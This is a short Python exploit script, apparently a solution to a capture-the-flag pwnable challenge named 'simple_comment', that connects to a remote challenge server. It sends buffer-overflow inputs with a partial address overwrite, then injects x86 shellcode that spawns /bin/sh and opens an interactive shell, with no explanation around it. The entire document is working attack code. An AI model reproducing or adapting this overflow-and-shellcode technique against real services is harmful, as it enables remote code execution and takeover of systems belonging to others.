simple_comment.py

import socket
import sys
import telnetlib
t = telnetlib.Telnet()
s = socket.create_connection(('leaveret.kr', 10099))
t.sock = s
def recv_until(t):
    global s
    d = ''
    while t not in d:
        c = s.recv(1)
        sys.stdout.write(c)
        d += c
recv_until('Input : ')
s.send('1\n')
recv_until(' : ')
s.send('a' * 504 + '\xA0\xC0' + '@a.a\n')
recv_until('Input : ')
s.send('2\n')
recv_until(' : ')
s.send('a' * 504 + '\xA0\xC0' + '@a.a\n')
recv_until('Input : ')
s.send('5\n')
recv_until(' : ')
shellcode = "\x99""\x31\xc0""\x52""\x68\x6e\x2f\x73\x68""\x68\x2f\x2f\x62\x69""\x89\xe3""\x52""\x53""\x89\xe1""\xb0\x0b""\xcd\x80"
payload = shellcode
payload += 'A' * (502 - len(payload))
payload += '@a.a'
s.send(payload + '\n')
t.interact()